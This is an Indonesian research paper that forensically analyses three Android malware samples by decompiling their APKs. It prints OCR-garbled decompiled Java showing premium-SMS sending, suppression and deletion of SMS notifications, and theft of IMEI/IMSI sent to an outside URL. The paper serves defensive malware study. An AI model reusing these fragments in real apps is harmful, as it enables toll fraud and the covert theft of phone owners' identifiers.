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Abstrak

Penggunaan smartphone berplatform android sebagai
sistem operasi open source sangat marak. Akan tetapi
karena android merupakan sistem open source
memudahkan siapa saja untuk mengembangkan aplikasi
android yang bisa di download di Android App Market.
Termasuk aplikasi yang disisipi malware oleh
pengembang aplikasi.

Pada penelitian ini mengambil sample tiga aplikasi
android yang mengandung malware aplikasi android
iCalendar (Android.raden.A), Live prints live wallpaper
(Hongtoutou) dan Hippo (Hippo SMS). Selanjutnya,
dilakukan analisa terhadap ketiga aplikasi android
tersebut dengan menggunakan teknik komputer forensik.
Penelitian ini sangat berguna agar user dapat
menganalisa aplikasi android lainnya dan menghindari
masuknya malware android ke perangkat android milik
user. Tahapan analisis ini dimulai dengan merename
apk menjadi zip, kemudian mengekstark file zip tadi
sehingga menjadi format DEX. File DEX tersebut
dikonvert menjadi file JAR dengan tool Dex2jar.
Kemudian hasil file JAR didecompile dengan JD-GUI
untuk melihat source code java yang kemudian
dianalisis.

Penelitian ini memberikan gambaran cara kerja ketiga
malware android tersebut pada sistem android dan
dampak yang diakibatkannya terhadap sistem android.
Hasil analisis memperlihatkan malware android bekerja
antara lain dengan mencuri informasi berupa IMEI dan
IMSI dari perangkat, selain itu juga sebagian malware
bekerja mengirimkan SMS ke premium number yang
sangat merugikan pemilik perangkat.

Kata kunci: malware, android, komputer forensik,
iCalender, live prints live wallpaper, hippo

1. Pendahuluan

1.1. Latar Belakang

Malware merupakan sebuah software yang dapat
menyusup ke sistem operasi sehingga dapat merusak
sistem dan juga dapat mencuri file-file penting yang ada
pada sistem. Malware atau juga disebut software perusak
mencakup Virus Komputer, Trojan Horse, perangkat
pengintai (spyware), perangkat iklan (adware) yang
tidak jujur, perangkat jahat (crimeware) dan perangkat
lunak lainnya yang berniat jahat dan tidak diinginkan.
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Berkembangnya teknologi pun memicu
dikembangkannya malware-malware baru, sehingga
semakin banyak pihak yang dirugikan karena adanya
malware-malware ini. Bahkan saat ini, malware telah
dapat menjangkit hampir seluruh jenis sistem operasi.

Dengan kemajuan teknologi saat ini yang mulai
meluncurkan berbagai jenis gadget seperti tablet PC dan
smartphone, tentunya didukung oleh beberapa jenis
sistem operasi. Semakin maraknya penggunaan tablet
PC dan smartphone oleh user, dikarenakan ukurannya
yang gampang dibawa dan juga tidak terlalu sulit untuk
mengoperasikannya. Sejalan dengan hal tersebut, salah
satu sistem operasi yang sedang marak digunakan untuk
mendukung kerja tablet PC ataupun smartphone adalah
sistem android.

Sistem android adalah sistem operasi yang berbasis
linux untuk telepon seluler seperti smartphone dan tablet
PC. Sistem android memiliki keunggulan, seperti sistem
operasi bersifat open source, multitasking, kemudahan
dalam notifikasi hingga banyaknya aplikasi atau
software yang dapat dinikimati dengan menggunakan
sistem android. Akan tetapi, salah satu keunggulan
sistem android menjadi salah satu kelemahannya.
Keunggulan sistem operasi bersifat open access, dimana
disediakan platform terbuka bagi para pengembang
(user) yang dimaksudkan agar user dapat menciptakan
dan mengembangkan aplikasi mereka sendiri sehingga
dapat digunakan pada bermacam perangkat seluler. Akan
tetapi, hal ini malah menimbulkan kemudahan dalam
pihak yang tidak bertanggung jawab untuk membangun
dan mengembangkan malware menjadi aplikasi yang
dapat masuk ke sistem android.

Beberapa perusahaan antivirus yang mengeluarkan
aplikasi antivirus untuk  platform Android
mengemukakan sebuah penemuan tentang malware
android. Mereka telah merekap semua data yang mereka
peroleh dari aplikasi produk antivirus mereka yang
terpasang pada perangkat Android di 118 negara di dunia
[6]. Dari hasil rekapitulasi yang dilakukan ditemukanlah
beberapa malware android yang sering menyerang
perangkat android, diantaranya adalah Android.raden.A,
Hongtoutou dan Hippo SMS.

Pada penelitian ini akan mengambil sample tiga aplikasi
android yang mengandung ketiga malware android yang
telah disebutkan di atas, dimana aplikasi android
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iCalendar (Android.raden.A), Live prints live wallpaper
(Hongtoutou) dan Hippo (Hippo SMS). Selanjutnya,
dilakukan analisa terhadap ketiga aplikasi android
tersebut dengan menggunakan teknik komputer forensik.
Penelitian ini dianggap sangat berguna agar user dapat
menganalisa aplikasi android lainnya dan menghindari
masuknya malware android ke perangkat android milik
user. Selain itu, hasil penelitian ini memberikan
gambaran cara kerja ketiga malware android tersebut
pada sistem android dan dampak yang diakibatkannya
terhadap sistem android.

1.2. Komputer Forensik

Komputer Forensik bertujuan untuk mengamankan dan
menganalisa bukti digital. Dari data yang diperoleh
melalui survei oleh FBI dan The Computer Security
Institute pada tahun 1999, mengatakan bahwa 51%
responden mengakui bahwa mereka telah menderita
kerugian, terutama dalam bidang finansial akibat
kejahatan komputer [2].

Komputer forensik hanyalah penerapan teknik komputer
investigasi dan analisis untuk kepentingan menentukan
bukti hukum potensial. Bukti mungkin dapat dicari
dalam berbagai kejahatan komputer atau
penyalahgunaan, namun tidak terbatas pada pencurian
rahasia perdagangan, pencurian atau perusakan kekayaan
intelektual serta penipuan. Seorang CHFI dapat menarik
berbagai metode untuk menemukan data yang berada
dalam sistem komputer, atau memulihkan yang telah
dihapus, informasi file terenkripsi atau rusak.

Komputer forensik juga banyak sekali digunakan untuk
tugas-tugas lainya seperti Operational
Troubleshooting, Log Monitoring, Data Recovery dan
Data Acquisition yaitu mengambil data dari host dan
Due Diligence (Regulatory  Compliance) untuk
kepentingan audit.

Komputer Forensik memiliki Prinsip Dasar yang harus
diterapkan, yaitu : (a) Forensik bukan proses Hacking;
(b) Data yang didapat harus dijaga agar jangan berubah.;
(c) Penting untuk Membuat image dari HD/Floppy/
USB-Stick/Memory-Dump tanpa merubah isinya, yang
terkadang digunakan hardware khusus.; (d) /mage yang
dianalisis bukan yang asli.; (¢) Data yang sudah terhapus
membutuhkan fools khusus untuk merekonstruksi.; (f)
Pencarian bukti menggunakan tools pencarian teks
khusus, atau mencari satu persatu dalam image.

Berikut prosedur forensik menurut metode Search dan
Seizure adalah: (a) Identifikasi dan penelitian
permasalahan.; (b). Membuat hipotesa.; (c) Uji hipotesa
secara konsep dan empiris.; (d) Evaluasi hipotesa
berdasarkan hasil pengujian dan pengujian ulang jika
hipotesa tersebut jauh dari apa yang diharapkan.; (e)
Evaluasi hipotesa terhadap dampak yang lain jika
hipotesa tersebut dapat diterima [7].
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1.3. Malware

Malware berasal dari kata malicious dan software yang
merupakan perangkat lunak yang diciptakan untuk
menyusup atau merusak sistem komputer. Istilah ini
umum dipakai oleh pakar komputer untuk mengartikan
berbagai macam perangkat lunak atau kode perangkat
lunak yang mengganggu atau mengusik.

Perangkat lunak yang dianggap sebagai perangkat
perusak berdasarkan maksud yang terlihat dari pencipta
dan bukan berdasarkan ciri-ciri tertentu, mencakup Virus
Computer, Trojan Horse, perangkat pengintai (spyware),
perangkat iklan (adware) yang tidak jujur, perangkat
jahat (crimeware) dan perangkat lunak lainnya yang
berniat jahat dan tidak diinginkan [3].

Perangkat perusak tidak sama dengan perangkat lunak
cacat (defective software), yaitu perangkat lunak yang
mempunyai tujuan sah tetapi berisi bug yang berbahaya.
Hasil penelitian awal dari Symantec yang diterbitkan
pada tahun 2008 menyatakan bahwa "kelajuan
peluncuran kode yang berbahaya dan perangkat lunak
lainnya yang tidak diinginkan, mungkin akan melebihi
aplikasi perangkat lunak yang sah”. Menurut F-Secure,
"Jumlah perangkat perusak yang dibuat pada tahun 2007
sama dengan pembuatan dalam 20 tahun sekaligus".
Jalur pembobolan perangkat perusak yang paling umum
digunakan oleh penjahat kepada pengguna adalah
melalui Internet, Surel dan World Wide Web.

1.3. Sistem Android

Android adalah sistem operasi yang berbasis linux untuk
telepon seluler seperti smartphone dan tablet PC.
Android menyediakan platform terbuka bagi para
pengembang untuk menciptakan aplikasi mereka sendiri
yang akan digunakan oleh bermacam perangkat seluler
[4]. Awalnya, Google Inc membeli Android Inc.
pendatang baru yang membuat perangkat lunak untuk
ponsel. Kemudian untuk mengembangkan Android,
dibentuklah Open Handset Alliance, konsorsium dari 34
perusahaan perangkat keras, perangkat lunak, dan
telekomunikasi, termasuk Google, HTC, Intel, Motorola,
Qualcomm, T-Mobile dan Nvidia.

Pada saat peluncuran pertama Android (5 November
2007), Android bersama Open Handset Alliance
menyatakan mendukung pengembangan standar open
source pada perangkat seluler. Di pihak lain, Google
merilis kode - kode Android di bawah lisensi Apache,
sebuah lisensi perangkat lunak dan open source
perangkat seluler. Di dunia ini terdapat dua jenis
distributor sistem operasi Android. Pertama yang
mendapat dukungan penuh dari Google atau Google
Mail Services (GMS) dan kedua adalah yang benar -
benar bebas distribusinya tanpa dukungan langsung
Google atau dikenal sebagai Open Handset Distribution
(OHD).
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Arsitektur grafis yang dimiliki oleh sistem android atau
yang disebut “Architecture of Android System” seperti
pada gambar 1, [1], [5].

APPLICATIONS

Home Dialer SMS/MMS M Browser Camera Alarm Calculator

Contacts Voice Dial Email Calendar ~ Media Player Photo Album Clock

APPLICATION FRAMEWORK

Activity Manager ~ Window Manager  Content Providers: View System Notification Manager

Package Manager  Telephony Manager

LIBRARIES

Resource Manager ~ Location Manager

ANDROID RUN

LINUX KERNEL
Bluetooth Driver

Shared Memory
Driver

Display Driver Camera Driver Binder (IPC) Driver

USB Driver Keypad Driver WiFi Driver Audio Drivers Power Management

Gambar 1. Arsitektur Sistem Android

Applications

Lapisan atas dari arsitektur android yang berisi aplikasi
yang dikembangkan oleh pengembang android. Ada
beberapa aplikasi standar yang, seperti Browser atau
SMS client, namun pengguna dapat membeli dan
menginstal aplikasi baru ke Application Layer.

Application Framework

Application Framework adalah lapisan kedua dalam
arsitektur android. Aplikasi berkomunikasi langsung
dengan Application Framework, yang cukup banyak
menyediakan fools yang dibutuhkan untuk melakukan
tujuan apa pun yang dirancang. Pengembang aplikasi
langsung mengakses Application Framework untuk
membangun fungsi dari aplikasi yang mereka buat.
Selain aplikasi yang sebenarnya pada perangkat,
Application Framework juga berkomunikasi dengan
lapisan Libraries arsitektur android.

Libraries

Libraries asli android pada dasarnya hanya terdiri dari
sejumlah fungsi yang memungkinkan perangkat untuk
memproses berbagai jenis data. Beberapa Libraries ini
khusus untuk jenis perangkat tertentu, serta dianggap
generic untuk semua perangkat android.

Android Runtime

Android Runtime terdiri dari dua bagian besar, yaitu:
Core Libraries dan Dalvik Virtual Machine. Core
Libraries memungkinkan pengembang aplikasi android
untuk membuat dan menyebarkan kode dalam bahasa
pemrograman java. Libraries Core ini akan memiliki
akses ke Libraries asli android serta Dalvik Virtual
Machine. Dalvik Virtual Machine, fungsi aplikasi ini
seolah-olah mesin mandiri dan mengeksekusi kode yang
dibuat dengan Java Core Libraries. Hal ini juga
berfungsi sebagai perantara antara Java Core Libraries
dan Hardware Abstraction Layer dari perangkat Android
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Hardware Abstraction Layer

Beberapa diagram arsitektur android memiliki HAL
yang termasuk bagian dari Linux Kernel. HAL pada
dasarnya menangani komunikasi antara perangkat keras
yang ditampilkan pada Linux Kernel dan semua lapisan
perangkat lunak lain.

Linux Kernel

Sistem operasi Android pada dasarnya dibangun di atas
Linux kernel 2.6 dan menyediakan driver yang
dibutuhkan perangkat Linux untuk berkomunikasi
dengan modul dari Hardware Abstraction Layer. Kernel
Linux juga menangani semua fungsi sistem operasi dasar
untuk perangkat android, seperti alokasi memori,
komunikasi jaringan, dan keamanan aplikasi.

2. Pembahasan

2.1. Metode analisa malware android

Gambar 2. Flowchart Metode Analisa Malware
Android
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Dari Gambar 2 bisa dilihat alur metode yang digunakan
dalam menganalisa malware android. Hal pertama yang
dilakukan adalah memilih ataupun mencari aplikasi
android yang akan diteliti, dalam hal ini aplikasi android
di-download dari forum contangio mobile. Mendeteksi
malware pada aplikasi android dengan menggunakan
layanan virus total. Aplikasi android yang terdeteksi
mengandung malware android akan dianalisa dengan
cara static analysis. Aplikasi android yang terjangkit
malware android berekstensi APK di-rename menjadi
ekstensi ZIP, yang kemudian diekstrak dengan
menggunakan WinRAR. Hal ini dilakukan karena file
APK dapat di ilustrasikan sebagai sebuah archive (file
ZIP) yang mengandung Dalvix Executable file
(berekstensi DEX). Hasil dari ekstraksi berisikan
beberapa file, dimana terdapat file berektensi DEX.
Kemudian, file DEX di-convert kedalam format JAR
dengan menggunakan Dex2jar dan akan menghasilkan
file berekstensi JAR.

Langkah terakhir, file JAR di decompile menggunakan
JD-GUI sehingga dapat dilihat semua source code java
yang akan diteliti dan dianalisa untuk mencapai tujuan
penelitian ini yaitu mendeteksi keberadaan malware
android yang biasanya disisipkan pada class file aplikasi
utama atau juga ada yang membuat root tersendiri,
menganalisa cara kerja malware android ke dalam sistem
android dan juga menganalisa dampak yang
diberikannya terhadap sistem android.

Hasil penelitian ini diperoleh dari meneliti 3 sample
aplikasi android yang terjangkit malware android, yaitu :
iCalendar, Live prints live wallpaper dan Hippo
(kuis.com).

Pada penelitian ini, malware pada aplikasi android
dideteksi dengan memanfaatkan layanan virus total,
dimana secara umum analisa dan deteksi menggunakan
beberapa metode, yaitu :

a. Signature Based: Signature based pada dasarnya
bekerja pada pola biner. Nilai hash dari malware
diidentifikasi dan disimpan pada database produk
antivirus. Ketika mengeksekusi program baru dalam
jaringan dan sistem membandingkan nilai sash malware
yang tersimpan di database antivirus dan identifikasi
apakah ini malware atau bukan. Masalah timbul ketika
ada malware versi baru karena didalam penyimpanan
hanya terdapat nilai hash malware versi lama. Untuk
mencegah masalah ini, digunakan generic signature.
Database produk generik menyimpan semua signature
malware baru dan mengidentifikasikannya sebagai
keluarga malware.

b. Behavioral Based: Behavioral based bekerja pada
lingkungan virtual sandbox. Malware didownload pada
lingkungan sandbox ini dan bisa membuangnya tanpa
membahayakan sistem dan data. Malware yang
menyerang akan mengubah signature ketika antivirus
pelindung mendeteksinya. Pada teknik ini malware
dideteksi menggunakan dua cara, pertama melewati
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antivirus berbasis host dan kedua melewati gateway
antivirus.

c. Anomaly Based; anomaly based mendeteksi perilaku
user. Apabila terdapat perubahan perilaku user dalam
jaringan maka dilakukan perbandingan signature yang
sebelumnya disimpan dengan signature di database
antivirus. Pendekatan deteksi anomaly based digunakan
dua tahap. Tahap pertama adalah tahap latihan yang
mengidentifikasi perilaku sistem terhadap kehadiran
penyerang dan teknik pembelajaran mesin. Tahap kedua
adalah membandingkan perilaku user terhadap perilaku
user saat ini. Apabila terdapat beberapa perubahan
terhadap perilaku user saat ini maka identifikasi apakah

2.2. Analsis malware iCalendar

Didalam aplikasi iCalendar yang berfungsi sebagai
kalender elektronik pada perangkat android dengan
beberapa tambahan fitur juga disisipkan suatu malware
yang diduga dapat mengirimkan SMS ke premium
number sehingga pulsa dari perangkat android yang
terjangkit berkurang tanpa diketahui oleh user.

Sebelumnya, dengan bantuan layanan Virus Total
peneliti akan mendeteksi apakah aplikasi iCalendar
terjangkit malware android. Dari hasil analisa
menggunakan layanan virus total terdeteksi bahwa
terdapat malware pada aplikasi iCalendar.apk dan juga
terdapat  kejanggalan pada  beberapa  required
permissions (Gambar 3).

& Required permissions

android.permission. SEND_SMS (send SMS m

android.permission ACCESS_COARSE_LOCATION (coarse (network-b

ased) location)

android.permission.SET_WALLPAPER (set wallpaper)

android.permission. RECEIVE_SMS

ceive
android.permission INTERNET (full /

rmet access)

android.permission. RESTART_PACKAGES (kill background processes)

Gambar 3. Detail permission file iCalendar.apk

Peneliti  melakukan analisa  terhadap  aplikasi
iCalendar.apk dengan menggunakan beberapa tools
komputer forensik. Hal pertama yang dilakukan adalah
rename ekstensi APK menjadi ekstensi ZIP. Kemudian
file iCalendar.zip diekstrak menggunakan software
WinRAR dan akan menghasilkan beberapa file serta
terdapat juga file berekstensi DEX.

Menggunakan software dex2jar, file DEX di-convert
menjadi file JAR dengan perintah di jendela command
prompt dan menghasilkan file JAR

Langkah terakhir adalah decompile file JAR dengan
menggunakan JD-GUI  sehingga dapat terlihat
keseluruhan  source code java  dari  aplikasi
iCalendar.apk. Terlihat pada gambar 4, terdapat class file
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dengan nama SmsReceiver.class yang seharusnya tidak
dibutuhkan dalam aplikasi iCalendar.

& Java Decompiler, - SmsReceiver.class [BE=E]
Fle Edt Navigate Search Help
=a-4
classes_dex2jar.jar X -
= & com SmsReceiver.class X -
53 admob.android.ad
= mj.iCalendar package com.mj.iCalendar; ~
@ [0 rR
&-[3) smsReceiver #limport android.content.BroadcastReceiver;
®Q
- [3) icalendar public class SmsReceiver
extends BroadcastReceiver
private static final String strRes = "android.provider.Telephony.SMS_RECEIVE
public void onReceive(Context paramContext, Intent paramIntent)
«
long 1 = System.currentTimeMillis{) - iCalendar.iStartTime;
Object[] array0fObject;
smsMessage[] arrayOfSusMessage;
int i;
int 3;
int k; ]
< | ES >

Gambar 4. class file SmsReceiver.class

Setelah dianalisis source code pada SmsReceiver.class.
terdapat Local SMS dengan originating address dan
terdapat beberapa nomor yang mencurigakan (Gambar
5). Selain itu, terdapat perintah abort broadcast yang
ditujukan sebagai cara agar menolak laporan penerimaan
SMS ke perangkat android, sehingga user tidak
mengetahui adanya aktifitas SMS yang berjalan.

SmsReceiver.class X

labelgé:

array0f:

(byte[])array0fobject[i]);

i+
break;

3

k]:

try

{
String str = local getDisplayOrigi
if (("10086".equalsistr)) || ("10000".equals{str))
abortBroadcast();
}
K

s();
11 (100107, equals(str)) |1 (“1066185629". equals

T
catch (Exception localException)

for (::)

Gambar 5. Analisa SmsReceiver.class

Untuk lebih jelas, peneliti juga menganalisa source code
yang ada pada class file iCalendar.class. Pada Gambar
6, terlihat lagi perintah send SMS. Setelah peneliti
menelusuri source code-nya, ditemukan lagi satu nomor
dan ini sama dengan nomor yang peneliti temukan pada
source code SmsReceiver.class.

SharedPreferences.Editor localEditor = this.scDB.edit(); -
localEditor.putString(this.scitate, "V");

localEditor.putlong(this.scliuuber, System.currentTimeMillis()):

localEditor. commit();

public void sendSms()
{
if (177" equals(getStateVal()))

{
susManager. getDefault () . sendTextiessage (“10661858297, null, “921X1", PendingIntent.getBr

save();

Gambar 6. Analisa iCalendar.class

Setelah diteliti lagi dengan menggunakan layanan search
engine  Google, ternyata nomor “1066185829”
merupakan mobile service provider (SP) number dari
operator China Mobile (Gambar 7).
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Search

1066185829

1066185829

Operators: China Mobile
Number Type: mobile service provider (SP) numbers

HEEHE TSR
TEL : 0533-6181677

- Tips -

106 number is the beginning of the SP’s short message service number, which begins with 10657 and
10658 are self-service number belongs to China Mobile, China Telecom proprietary business numbers
beginning with 10655 belongs to China Unicom’s proprietary business numbers, beginning with 10659's.

Gambar 7. mobile service provider number China

Dari beberapa analisa yang dilakukan peneliti terhadap
source code java aplikasi iCalendar.apk, peneliti
merangkum cara kerja malware yang menjangkit
aplikasi iCalendar.apk. Malware tersebut aktif setelah
aplikasi iCalendar.apk terpasang pada perangkat android.
Malware ini mengirimkan sekali sms ke premium
number 1066185829 dengan isi SMS 921X1. Oleh sebab
itu, SMS dari premium number masuk ke perangkat
android yang terjangkit malware ini.

Pada penjelasan di atas tadi juga telah dijelaskan bahwa
adanya penolakan laporan pengiriman dan penerimaan
SMS dari premium number 1066185829 ke perangkat
android, sehingga user sama sekali tidak mengetahui
adanya aktifitas SMS yang akan berdampak pada
berkurangnya pulsa yang dimiliki user.

icalendar
Versi 2.0
Hapus instalan ‘
Penyimpanan
Total 0,97M8B
Aplikasi 0,91MB
Data 0,008
H
Memori
Memori 0,008
a
Jalankan sebagai default
Tdk ada pengaturan defaut,
=
1zin.
Aplikasi ini dapat mengakses yang berikut ini di perangkat Anda
A Lokasi Anda
A Pesan Anda
A\ Komunikasi jaringan
A Penyimpanan
n telepon
¢
IA Layanan yang butuh blaya ’

Gambar 8. Info aplikasi iCalendar pada perangkat
android

2.3. Analsis malware Live prints live wallpaper

Live prints live wallpaper merupakan aplikasi [live
wallpaper untuk perangkat android dengan tampilan /ive
prints. Model live prints ini sangat bagus untuk dijadikan
live wallpaper pada perangkat android, tetapi ternyata
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aplikasi ini juga mengandung malware android yang
disebut Hongtoutou (Trojan.spy.adrd A).

EATHACPAGL STV
B\ 1 PONT NRIAN

SR

‘ ;
e
R i

v

| Atur wallpaper
— a2 S

Gambar 9. Aplikasi liveprintslivewallpaper.apk

Jika dilakukan analisa dengan menggunakan layanan
virus total, ditemukanlah malware android yang
menyusup ke dalam aplikasi live prints live wallpaper.
Malware android yang terdeteksi adalah Hongtoutou
(Trojan spy adrd A) yang dapat membaca dan mencuri
status atau identitas pribadi pada perangkat android

¥ Required permissions

android.permission.RECEIVE_BOOT_COMPLETED (automatically start at boot)

android.permission.READ_PHONE_STATE (read phone state and ioh

android.permission ACCESS_NETWORK_STATE (view network status)

android.permission.INTERNET (f

android.permission. WRITE_EXTERNAL_STORAGE (modify/delete SD card contents)

Gambar 10. Detail file liveprintslivewallpaper.apk

Setelah ekstensi APK dirubah menjadi ekstensi ZIP.
Kemudian, liveprintslivewallpaper.zip diekstrak dengan
menggunakan software WinRAR. Hasil ekstrak terdiri
beberapa yang file dan termasuk file berekstensi DEX
pada salah satu filenya. Untuk melakukan analisa source
code java dari aplikasi android, file berektensi DEX di-
convert menjadi file JAR dengan memanfaatkan fool
Dex2jar .

Setelah didapat file berekstensi JAR kemudian dilakukan
decompile  menggunakan  fool JD-GUI  untuk
menampilkan secara keseluruhan source code java dari
aplikasi liveprintslivewallpaper.apk.
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MyService.class X

this.alarms.set(2, 21600000L, this.pendingIntent);
}

public void onDestroy() {}

public void onStart({Intent paramIntent, int paramInt)
{

Tel localTel (Telepho:
this.imei = localTelephonyManager.getDeviceId();
this.iuwsi = localTelephonyManager.getSubscriberId():;
if (this.imsi == null) {

this.imsi = "";
}
if (this.imei == null) {

this.imei = "";

r =

1

JgetSystemnService (“phone’

if ((this.imsi.length() !'= 15) && (this.imei.length{) != 15))

Gambar 11. Perintah untuk melihat IMEI dan IMSI

Pada Gambar 11, terlihat source code yang berisikan
“TelephonyManager” yang dimaksudkan untuk melihat
IMEI (International Mobile Equipment Identity) dan
IMSI  (International Mobile Subscrilber Identity)
perangkat android yang terjangkit malware android
hongtoutou.

Setelah malware android Hongtoutou ini membaca
IMEI dan IMSI, selanjutnya hongtoutou mengambil
informasi tentang IMEI dan IMSI tersebut. IMEI dan
IMSI merupakan identitas pribadi yang dimiliki setiap
perangkat seluler termasuk perangkat android serta IMEI
dan IMSI ini berbeda untuk setiap perangkat seluler.
Informasi tentang IMEI dan IMSI pada perangkat
android dikirimkan ke sebuah situs tak dikenal yaitu
http://adrd.taxuan.net/index.aspx (Gambar 12).

qzlclass

public void run()
{
Object locallbjectl = ";

TEY
{
String str2
localObjectl = str2;
}
catch (Exception localExceptionl)
{
label98:
Object localObject2;
break label98;
}
localObject2

= ddda.encrypt(gzl.this.inei + "¢ + gzl.this.imsi + "&" + gzl.this.netway + "&" +

= gzl.this.GetO("http://adrd. taxuan.net/index.aspx?in=" + (String)localObjectl).

{
String strl = ddda.decrypt((String)localObject2, gzl.this.kk):
localObject2 = strl;

}

catch (Exception localException2)

<

Gambar 12. Script Mencuri IMEI dan IMSI perangkat
android

Pada kasus aplikasi live prints live wallpaper, malware
android mulai bekerja saat aplikasi
liveprintslivewallpaper.apk dipasangkan dan dijalankan
pada perangkat android. Malware android Hongtoutou
pun mulai membaca dan mengambil informasi IMEI dan
IMSI perangkat android yang dijangkitinya tanpa
diketahui user perangkat android tersebut.
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0,008
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Data
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Aplikasi ini dapat mengakses yang berikut ini di perangkat Anda

A Penyimpanan

A\ ¥Xomunikasi jaringan

A\ Panggilan telepon

A Aatsistem

Gambar 13. Info aplikasi live prints live wallpaper pada
perangkat android

2.4. Analsis malware Hippo (kuis.com)

Didalam aplikasi Hippo yang merupakan aplikasi
android yang terhubung dengan situs kuis.com. Aplikasi
ini normalnya memberikan layanan kuis yang dilengkapi
juga media chat, search engine dan yang lainnya. Akan
tetapi, aplikasi android ini diduga mengandung malware
android yang disebut ANDROIDOS HIPPOSMS.A dan
lebih terkenal dengan nama Hippo SMS.

Untuk memastikan adanya malware android pada
aplikasi Hippo SMS, peneliti melakukan analisa awal
dengan memanfaatkan layanan Virus total. Pada
Gambar, terdapat 35 dari 42 antivirus yang mendeteksi
adanya malware android pada aplikasi Hippo SMS.
Selain itu, dapat dilihat juga ada beberapa permission
yang dianggap tidak seharusnya diperlukan pada aplikasi
android Hippo sample.apk ini. (Gambar 14)

& Required permissions

android.permission.SEND_SMS (send SMS mes:

android.permission.RECEIVE_BOOT_COMPLETED (automati

tart at boot)

com.android.launcher.permission.INSTALL_SHORTCUT (Unk n from android reference

permis

android.permission. WRITE_SMS (edit SMS or MMS|

android.permission. ACCESS_NETWORK_STATE (view network status)

android.permission.RECEIVE_

android.permission.INTERNET (fu

android.permission.WRITE_EXTERNAL_STORAGE (modify/delete SD card contents)

android.permission.READ_SMS (read SMS or MMS)

Gambar 14. Detail file Hippo_sample.apk

Seperti proses penelitian sebelumnya, peneliti merubah
ekstensi Hippo sample.apk menjadi Hippo sample.zip
setelah itu diekstrak dengan menggunakan tools
WinRAR dan memperoleh file classes.dex.

Langkah selanjutnya adalah convert format DEX pada
file classes.dex menjadi format JAR dengan
menggunakan fools Dex2jar. Dengan operasi convert
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menggunakan Dex2jar pada
didapatlah file dengan format JAR.

command  prompt,

Untuk menganalisa malware android hippo, bisa
dilakukan dengan menganalisis source code java
lengkap dari aplikasi android yang terjangkit malware
android dengan memanfaatkan fools JD-GUI. Terlihat
terdapat paket class file dengan nama “sms”, yang
didalamnya terdapat 3 class file yang berisikan malicious
code, yaitu BootReceiver.class,

CallContentObserver.class, MessageService.class.

Pada class file MessageService.class terdapat perintah
“sendsms” yang ditujukan pada suatu nomor yaitu
“1066156686” dengan text sms “8” (Gambar 15).
Dengan menggunakan layanan premium number checker
pada situs www.sohao.org, terlihat bahwa nomor
“1066156686” merupakan mobile service provider dari
operator china mobile (Gambar 16). Sehingga dapat
diperjelas lagi bahwa sms dengan text “8” ke nomor
“1066156686” yang dilakukan malware android
menyebabkan perangkat android berlangganan sms
premium.

MessageService.class > | CallContentObserver.class

if (readTag(this.sp) < 3)

{
ELT Ty M 13 K15 il A 5 3
saveTag(this.sp, "data”, getData(), 1 + readTag(this.sp)):

¥
return;

}
|senasns (108615668, R,
aveTagitits s,

}

T, this) ; ]

T LA

public hoolean onUnbind{Intent paramIntent)
{
return false;

}

public int readTag(SharedP
{

return paramSharedPreferences.getInt(“size”, 0);

s paramShar )

Gambar 15. Analisa class file MessageService.class

=T
&bﬁ’ 1066156686 searcn
1066156686

Operators: China Mobile

Number Type: mobile service provider (SP) numbers

2 HEE s X RET]
kﬂﬁﬂﬁié rETeETN

Gambar 16. Pengecekan premium number di
www.sohao.org

Pada class file CallContentObserver.class terdapat
variabel “PhoneNum”, dimana data nomor telepon dan
juga premium number termasuk ke dalam variabel
“PhoneNum” (Gambar 17). Peneliti kembali melihat
class file MessageService.class, terdapat
“notificationManager”’. “notificationManager”
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dihubungkan dengan class file
CallContentObserver.class, yang mana dapat peneliti
jelaskan bahwa “PhoneNum” yang diawali dengan angka
“10” maka notifikasi sms masuk ataupun keluar ditolak
sehingga user perangkat android tidak mengetahui
adanya aktifitas sms yang terjadi pada perangkat
androidnya (Gambar 18).

public class CallContentObserver
extends ContentObserver

{
private static final String strUriInbox = "content://sms";
private static final Uri wriSms = Uri.parse(“"content://sms");
private Context context;
private String phonelNum;

public CallContentObserver (Context paramContext, 5tring paramString, Handler paramHand:
{

swper (paranHandler) ;

this.context = paramContext;

this.phonelNun = paramString;
}

public void onChange (boolean paramBoolean)

Gambar 17. Analisa class file
CallContentObserver.class

MessageService.class X

public IBinder onBind(Intent paramIntent)
{
return null;

}

[PUBTIC void OnCLeate()

{
this.notificati
super.onCreate();
this.sp = getSharedPreferences(“sendsus”, 3);

tObserver (Uri. parse(”content: //sus"), true, new CallContentObserver (this,

= ((Notificati ) ice("notification”));

getC

}

lver().register! 1T,

public void onDestroy()
{
<

Gambar 18. Terdapat penolakan notifikasi dari
PhoneNum yang diawali angka “10

Selain itu, untuk menyempurnakan aktifitas malware
android Hippo SMS agar sama sekali tidak disadari oleh
user, malware android ini juga memberikan perintah
untuk menghapus setiap sms masuk dari china premium
number. Pada class file CallContentObserver.class
dijelaskan apabila terdapat sms masuk dari “PhoneNum”
dimana yang diawali dengan angka “10” (seperti yang
dijelaskan di atas), maka dengan otomatis malware
android ini memberikan perintah reply sms ke premium
number dengan text "ddddddddddddddddssssssssssssssss
ssddddddddd" sehingga sms masuk yang asli dari
premium number terhapus (Gambar 19). Hal ini
menyebabkan user perangkat android sama sekali tidak
mengetahui adanya aktifitas sms premium yang
berakibat berkurangnya pulsa yang dimiliki user.

Pada aplikasi Hippo ini, malware android akan aktif
setelah aplikasi Hippo dipasangkan ke perangkat android
dan tentunya saat perangkat android terkoneksi dengan
provider telekomunikasi. Saat malware android aktif,
aktifitas pengiriman sms ke premium number
“1066156686” dengan text “8” langsung dijalankan dan
mengakibatkan perangkat android yang terjangkit
malware android ini berlangganan sms premium dari
berbagai chinese premium number. Pada Gambar 4.40,
dapat dilihat aplikasi Hippo yang sudah terpasang pada
perangkat android.
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callc

vice.class ver.class X

}
public void onChange (hoolean paramBoolean)

swper. onChange (paranBoolean) ;
Cursor localCursor = this.context.getContentResolver().query(mriSus, mew String[] { "_id”, "thr
if ({localCursor '= null) s& {localCursor.moveToFirst(}))
{
String strl localCursor.getString(2);
String str2 = localCursor.getString(0);
if ((strl != null) && (this.phoneNum !'= null) && (strl.startsWith(this.phoneliun)))
{
Log.a{" ", " df )
this.context.getContentResolver (). delete (wriSes, "_id=" + str2, null);
}
localCursor.close():

Gambar 19. Perintah untuk menghapus sms dari
premium number

Pada Gambar 20, terlihat info aplikasi yang berisikan
beberapa permission yang tidak seharusnya diperlukan
oleh aplikasi Hippo_sample.apk.

[ Paksa berhenti

Br6i5R
Versi 2.0.0

Hapus instalan ]

Penyimpanan

Total 588KB
Aplikasi 576KB
Data 12,00KB
Hapus data Pindah ke kartu SD
